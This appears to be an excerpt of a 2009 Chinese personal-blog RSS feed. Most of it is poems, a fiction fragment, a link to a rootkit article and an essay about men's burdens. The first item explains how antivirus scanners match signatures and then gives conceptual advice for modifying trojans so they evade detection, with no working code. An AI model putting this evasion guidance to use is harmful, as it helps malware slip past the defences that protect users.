<description><![CDATA[<br>一、杀毒软件原理基础<br>　　一个杀毒软件的构造的复杂程度要远远高于木马或病毒，所以其原理也比较复杂。而且鉴于现在木马病毒越来越向系统底层发展，杀毒软件的编译技术也在不断向系统底层靠近。例如现在的“主动防御”技术，就是应用RING0层的编译技巧。这里我简单为大家介绍一下基本构成。<br>　　一个杀毒软件一般由扫描器、病毒库与虚拟机组成，并由主程序将他们结为一体，如图。<br>　　扫描器是杀毒软件的核心，用于发现病毒，一个杀毒软件的杀毒效果好坏就直接取决于它的扫描器编译技术与算法是否先进，而且杀毒软件不同的功能往往对应着不同的扫描器，也就是说，大多数杀毒软件都是由多个扫描器组成的。而病毒库存储的特征码形式则取决于扫描器采用哪种扫描技术。它里面存储着很多病毒所具有的独一无二的特征字符，我们称之为“特征码”。特征码总的分来只有两个，文件特征码与内存特征码。文件特征码存在于一些未执行的文件里，例如EXE文件、RMVB文件、jpg文件甚至是txt文件中都有可能存在文件特征码，也都有可能被查杀。而内存特征码仅仅存在于内存中已运行的应用程序。而虚拟机则是最近引进的概念，它可以使病毒在一个由杀毒软件构建的虚拟环境中执行，与现实的CPU、硬盘等完全隔离，从而可以更加深入的检测文件的安全性。<br>　　简单的说，杀毒软件的原理就是匹配特征码。当扫描得到一个文件时，杀毒软件会检测这个文件里是否包含病毒库里所包含的特征码，如果有，则报毒病查杀，如果没有，纵然这个文件确实是一个病毒，它也会把它当作正常文件来看待。<br>　　二、基于文件扫描的杀毒技术<br>　　基于文件的杀毒技术可以分为“第一代扫描技术”、“第二代扫描技术”与“算法扫描”这三种方法，对于免杀爱好者来说，要对每一种方法烂熟于心，才能成为高手！但做为一个初学者来说了解一下即可。这里我们就简单介绍一下其中两种种方法，详细的技术原理如果各位得这有兴趣的话可以自己研究。<br>　　1、通配符扫描技术<br>　　通配符扫描技术属于是第一代扫描技术的一个分支，对于“通配符”，可以理解为具有一定意义的符号，例如dos命令里的*号就是任意长度的任意字符的意思，而且通配符在不同的领域也里可以代表不同的意思。<br>　　现在杀毒软件中简单的扫描器常常支持通配符，因为鉴于字符串扫描技术的执行速度与特征码长度限制等问题，使得其逐渐退出历史舞台，取而代之的是通配符扫描技术，通配符扫描技术以同样简单的原理与技术却实现了更为强大的功能。<br>　　扫描器中的通配符一般用于跳过某些字节或字节范围，以至于现在有些扫描器还支持正则表达式！<br>　　下面我们通过一个例子来讲解通配符扫描技术的原理。<br>　　例如我们的病毒库中有这样一段特征码：<br>　　0400 B801 020E 07BB ??02 %3 33C9 8BD1 419C<br>　　上面的特征码可以解释为：<br>　　１、尝试匹配04，如果找到则继续，否则跳出。<br>　　２、尝试上一匹配目标后匹配00，如果找到则继续，否则跳出。<br>　　３、尝试上一匹配目标后匹配B8，如果找到则继续，否则跳出。<br>　　４、尝试上一匹配目标后匹配01，如果找到则继续，否则跳出。<br>　　５、尝试上一匹配目标后匹配02，如果找到则继续，否则跳出。<br>　　６、尝试上一匹配目标后匹配0E，如果找到则继续，否则跳出。<br>　　７、尝试上一匹配目标后匹配07，如果找到则继续，否则跳出。<br>　　８、尝试上一匹配目标后匹配BB，如果找到则继续，否则跳出。<br>　　９、忽略此字节。<br>　　10、尝试上一匹配目标后匹配02，如果找到则继续，否则跳出。<br>　　11、在接下来的３个位置（字节）中尝试匹配33，如果找到则继续，否则跳出。<br>　　12、尝试上一匹配目标后匹配C9，如果找到则继续，否则跳出。<br>　　13、尝试上一匹配目标后匹配8B，如果找到则继续，否则跳出。<br>　　14、尝试上一匹配目标后匹配D1，如果找到则继续，否则跳出。<br>　　15、尝试上一匹配目标后匹配41，如果找到则继续，否则跳出。<br>　　16、尝试上一匹配目标后匹配9C，如果找到则继续，否则跳出。<br>　　这种扫描技术通常支持半字节匹配，这样可以更精确地匹配特征码，一些早期的加密病毒用这种方法都比较容易检测出来。<br>　　其实现在的一些特征码仍然在使用类似此种方法的特征码表达技术，因此掌握这些知识会对我们以后的免杀有所帮助，同样可以使我们在定位特征码时更加了解自己正在做什么，以及做的是否正确等等，这对于我们来说非常重要。<br>　　2、智能扫描<br>　　智能扫描属于第二代扫描技术的一个分支，这种方法是在一种病毒变异工具包出现之后提出的。智能扫描法会忽略检测文件中象NOP这样的无意义指令。而对于文本格式的脚本病毒或宏病毒，则可以替换掉多余的例如空格、换行符或制表符等空白字符，这一切替换动作在扫描缓冲区就会执行，从而大大提高了扫描器的检测能力。<br>　　3、近似精确识别法<br>　　近似精确识别法同样是属于第二代扫描技术的一个分支，但是相比起来应用的更为广泛，这种扫描技术包含了两种方式与若干种方法，在这里不可能一一介绍，下面将主要介绍两种方法的代表。<br>　　方法一：多套特征码<br>　　该方法采用两个或更多个字符串集来检测每个病毒，如果扫描器检测到其中一个特征符合，那么就会警告发现变种，但并不会执行下一步操作（例如清除病毒体或删除文件）。如果多个特征码全部符合，则报警发现病毒，并执行下一步操作。<br>　　方法二：效验和<br>　　对于校验和，也许有些朋友会想到文件校验和比对的方法，这个方法的思路是将每一个无毒的文件生成一个校验和，等待下次扫描时在进行简单的校验和比对即可，如果校验和有所变化，在进行进一步的扫描，这样有利于提升扫描器的效率，但是严格地说，这并不算是扫描技术。<br>　　效验和扫描技术利用的最为到位的就是比较出名的KAV（卡巴斯基）了，它的第二代扫描器就采用了密码效验和技术，并且没有使用任何搜索字符串技术。关于效验和是一个复杂的概念，简单的说就是通过对病毒中的某一段代码的计算，从而得出一个值（例如123XY4），与MD5加密有些相似，当然这样说不完全正确。<br>　　但KAV采用的是一种由卡巴斯基发明的一种叫做密码效验和的特殊算法，这种算法通常会产生两个值。而且病毒库的查询采用了特征码分类思想，例如扫描EXE文件时只调用与EXE文件有关的病毒库，而根据EXE文件的位置不同（例如文件头、入口点）又分为不同的子库，这样有利于提高扫描速度。<br>　　三、由此得出的一些经验<br>　　首先我们应该明白第一个例子介绍的通配符“0400 B801 020E 07BB ??02 %3 33C9 8BD1 419C”代表的肯定不是一个字节。也就是说，杀毒软件厂商定位的特征一般都是数十字节，所以我们定位特征码时就要避免定位过于精确，一般保证在10字节以内就足够了！因为如果特征码定位的过于精确，会为我们以后的修改操作带来很大不必要的麻烦。我们可以简单的想一下，是修改一个字节的方法多，还是修改10字节的方法多？<br>　　而由智能扫描我们也可以得出一个结论，就是不要将杀毒软件想的太傻，例如属于智能扫描的一个分支——启发式扫描，它会将一些异常改动计算到可能性的“权值”里，如果一个文件的可疑改动过多，就会导致报毒，这样我们所做的一些工作就起到了相反的作用，是典型的画蛇添足。所以，修改木马文件时也要掌握一个度的问题，不要修改的过多，但还要保证自己的木马免时间够长，这就要明白那些更改会被归为可疑修改，而那些则不会。但是掌握这些是需要一定的PE文件结构基础知识的，对于PE文件，我会在下篇文章详细介绍。<br>　　而最后的就是卡巴斯基的密码校验和扫描技术了，恐怕这在业内也是第一次提出来，各位看官有福了！<br>　　对于密码校验和的更深层次的知识，这里我们不再细谈，我们只谈他对免杀带来什么样的影响。首先，特殊的扫描方法必然会导致特殊的特征码，所以密码校验和的真正特征码通常体积都比较大，通过脚本木马的一些实验，卡巴斯基7.0对字母的大小写不是很敏感，此外对文件代码的变动也不是很敏感。也就是说，只要包含特征码的这行代码在卡巴斯基的校验和取样范围之内，那么它就会报毒，而如果你将其移出这个范围，那么肯定会导致文件不能正常运行，唯一的办法就是更改代码结构。<br>　 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1255920549#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Mon, 19 Oct 2009 02:49:09 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1255920549</guid>
</item>

<item>
<title><![CDATA[备案室]]></title>
<link>http://869570367.qzone.qq.com/blog/1255701273</link>
<description><![CDATA[<br><span style="color:#800080;line-height:1.8em;"><span style="color:#000000;line-height:1.8em;">rootkit </span><wbr /> </span><wbr /> <a href="http://www.hackbase.com/tech/2009-10-16/57040.html" target="_blank">http://www.hackbase.com/tech/2009-10-16/57040.html</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1255701273#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Fri, 16 Oct 2009 13:54:33 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1255701273</guid>
</item>

<item>
<title><![CDATA[春风汇]]></title>
<link>http://869570367.qzone.qq.com/blog/1246460902</link>
<description><![CDATA[花开花落花满天，唯风起舞漫花间  ------<br>佛门长云 四大皆空，既然一切皆空，缘何要去管他世间疾苦，去度化他人<br>---------------------<br>无语春风沁心凉<br>奈何深情无归处<br>----------------------<br>细雨悠悠柳依依<br>情人绵绵眼迷迷<br>----------------------<br>一杯淡酒，轻倚栏杆远眺，一缕清愁随风逝<br>----------------------------------------------------------------<br>一袭白衣迎风翩然舞/起    残剑跛马荡天涯 <br> <br>唯我寂寞侯佳人<br>-------------------------------------------------------------<br>今天在黑基论坛看到因为传奇世界而相识相恋4年的情侣即将踏上红地毯，先祝福他们幸福快乐!相爱一生！<br>很多人说网恋是虚假的，其实不然，网络也可为有缘人为媒！佛云随缘 网络使千里之外的有缘人相识，避免了天葬他们间的缘，为何要被唾弃!<br>----------------------------------------<br>09.8.6今天偶然想到上次某人说别人只会使用那几个现成的字眼作诗词，是所学有限吗？中华文化历史悠久，纵观古今，<br>多少大豪都有自己喜爱的字眼，有时并非才情有限，确因独好！<br> <br>晓风残月 酒醒杨柳岸 魂归故里 罗帐佳人候<br>-------<br>春梅雅筑品荷堂  秋霜深阁尝雪亭<br>...<br>假禅无梦 一觉天明  ，奈何美女扰梦，终不得眠!<br>----------<br>谁是谁生命中的过客，谁是谁生命的转轮，前世的尘，今世的风 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1246460902#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 01 Jul 2009 15:08:22 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1246460902</guid>
</item>

<item>
<title><![CDATA[江湖风云之逍遥]]></title>
<link>http://869570367.qzone.qq.com/blog/1244614169</link>
<description><![CDATA[设定;唐门，逍遥轩，峨眉，偶尔冒出宵小.... 短无须太多势力。 <br>逍遥四门---逸风居，怜花苑，吟雪楼，江月阁。 <br>唐门---1.注重灵敏素质的练习，讲究身法步法，暗器为主。 <br>       2.短兵相接型，以力胜人，辅以暗器。 <br>峨眉---与唐门同为川中大派，宣扬佛道，劝善世人。 <br><br><br><br>巴蜀大地，天府之国。 <br>一个历史百年的大派，阴、毒却是世人对他们的全部映像。 <br>唐门 <br>乱 <br>烈日下的官道，凉亭，茶，悠闲白衣公子，皱眉，因为茶，太差 ！<br>唐门议事的大厅，同样有一个人紧皱眉头：“人哪儿去啦？”<br> <br>做为唐门年轻一代的佼佼者，又我未来的门主，平日吃的是山珍海味，喝的是上等的茶，还有专人炮制，那味岂是这山野之地，官道旁一个小小的茶寮所能比的，也即难怪他会让自己英俊的面旁上添上一双愁眉。<br> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1244614169#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 10 Jun 2009 06:09:29 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1244614169</guid>
</item>

<item>
<title><![CDATA[男人累了能依靠在谁的肩膀?(江南美女圈子）]]></title>
<link>http://869570367.qzone.qq.com/blog/1243522004</link>
<description><![CDATA[一直认为男人活得比女人更累... 因为.我觉得这个世界相对来说对女人的宽容比男人更多一些. <br>也许.有的女生也会发出感慨的说：我们女人活着也不容易啊.<br>是的.在当今社会每个一个人都活得不易.<br> <br>尤其是男人耳目内活得都比女人累.不只是身比女人累.<br>一个田字再加个力字合成男字.男人----难人也.女人合为好.女人.----亦好人也.<br>男人是力量和坚强的化身,担当与责任是男人的名称,所以男人从小就被人们套上枷锁. <br>要做一个顶天立地的男子汉,要为这个社会承担责任!,有泪也不要轻弹.<br> <br>长大成人后.男人要拼命的工作挣钱娶老婆,女人可以等着嫁,而男人呢？ <br>如果找一个比自己有能力的女人,别人就说这个男人在吃软饭.时下不是流行这样的说法吗? <br>做男人这辈子挺难的,找个漂亮的女人吧,太操心.找个不漂亮的女人吧,又不甘心.光顾事业吧. <br>人家说你没责任感.光顾家了,人家又说你没本事,有了钱,人家说你坏.没钱,别人说你窝囊...... <br>女人在劳累了一天之后，最希望自己能够在自己男人的肩上休息一会儿. <br>而男人累了呢.又在谁的肩膀靠靠呢.因此很多男人选择了酒杯和香烟,难道是他嗜酒成性吸烟成瘾不成. <br>据我所知,并非如此,喝酒吸烟其实是他们无可奈何用来排压的一种. <br>重要的是在当今这个社会里.许多男人的前途也许就在酒杯香烟里.<br>男人离不开交际应酬,而交际应酬又离不开吃吃喝喝.等到喝累了醉了,回到家. <br>如果家里是一位能善解人意,通情达理的女人,那可好.反之,那可就是鸡犬不宁了. <br>在外累了,回到家还得不到安宁,多累啊! ... <br>男人在外受了委屈.也只能往肚子咽.回到家也还要强颜欢笑.<br>而女人如.果受了委屈.还可以扑到男人怀里泪留满面的哭诉着.还可以向自己的男人撒娇. <br>男人得要使出浑身解数来哄. <br>女人甚至可以像祥林嫂碟碟不休地向别人倾诉自己的不幸和痛苦. <br>男人能这样吗.显而易见是不能. <br>女人总是认为男人天生就应该坚强.就不应该有乏累的时候.就不应该在女人面前展示自己柔软的一面.<br>因而男人选择了酒,唯有等酒穿肠过之后,也才能吐一时之快,等酒精过后,男人又是一幅铮铮的铁汉了. <br>男人,往往即是社会的中流砥柱,又是家庭的主心骨. <br>社会的压力和家庭的责任常常让男人们疲惫不堪.男人累了也要站直,不能趴下. <br>所以,...男人宁可选择流血也不能让泪流. <br>资料显示,男人的平均寿命比女人短. <br>为什么呀,有一点就是男人长时间心理的压抑感不能得到很好的释放,长时间的积劳影响的. <br>我们总把男人比做顶梁拄,男人在生活里的确也是扮演这样的角色. <br>男人上要赡养孝敬父母亲,下要抚育子女,中间还要做妻子的遮风挡雨伞. <br>男人的肩膀对于一个女人来说.是依靠,更是指望. <br>男人必须坚强.因为男人是家庭的顶梁柱.是女人在脆弱时的支撑. <br>都说男人的臂弯是女人避风的港湾.可我们的男人有过怨言吗? <br>会弃老抛小离家出走吗? <br>因为男人其实也很脆弱,也有需要被女人体贴照顾的时候.很多时候男人疲惫的心也需要一个靠山. <br>希望自己也能够在心爱的女人肩上.但是男人还要装着若无其事的样子,装作不脆弱. <br>男人什么事情都要自己扛,在这个世界上其实最辛苦的就是男人,在内在外都要顶天立地. <br>男人的压力作为女人的你们又能感受和理解多少呢? <br>也许唯一能做到的就是请给予我们男人多一些的空间吧! <br>其实男人对自己的女人要求不高,你只要给予他理解和体贴温柔的心,能够做到体谅男人的心事. <br>男人也就会感觉到再苦再累也是值得的,心里也是幸福无比的. <br>所以女人要好好地善待自己的男人,给自己的男人也松松绑吧. <br>让男人.在你面前不再掩饰自己的脆弱. <br>让男人.也可以把自己的委屈.把自己的心事向你诉说.让男人也可以依在你的肩上安然睡去! <br>                             希望每位女人都能善待自己的男人...... <br>                                                                                   男人真的很辛苦............ <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1243522004#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Thu, 28 May 2009 14:46:44 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1243522004</guid>
</item>

</channel>
</rss>

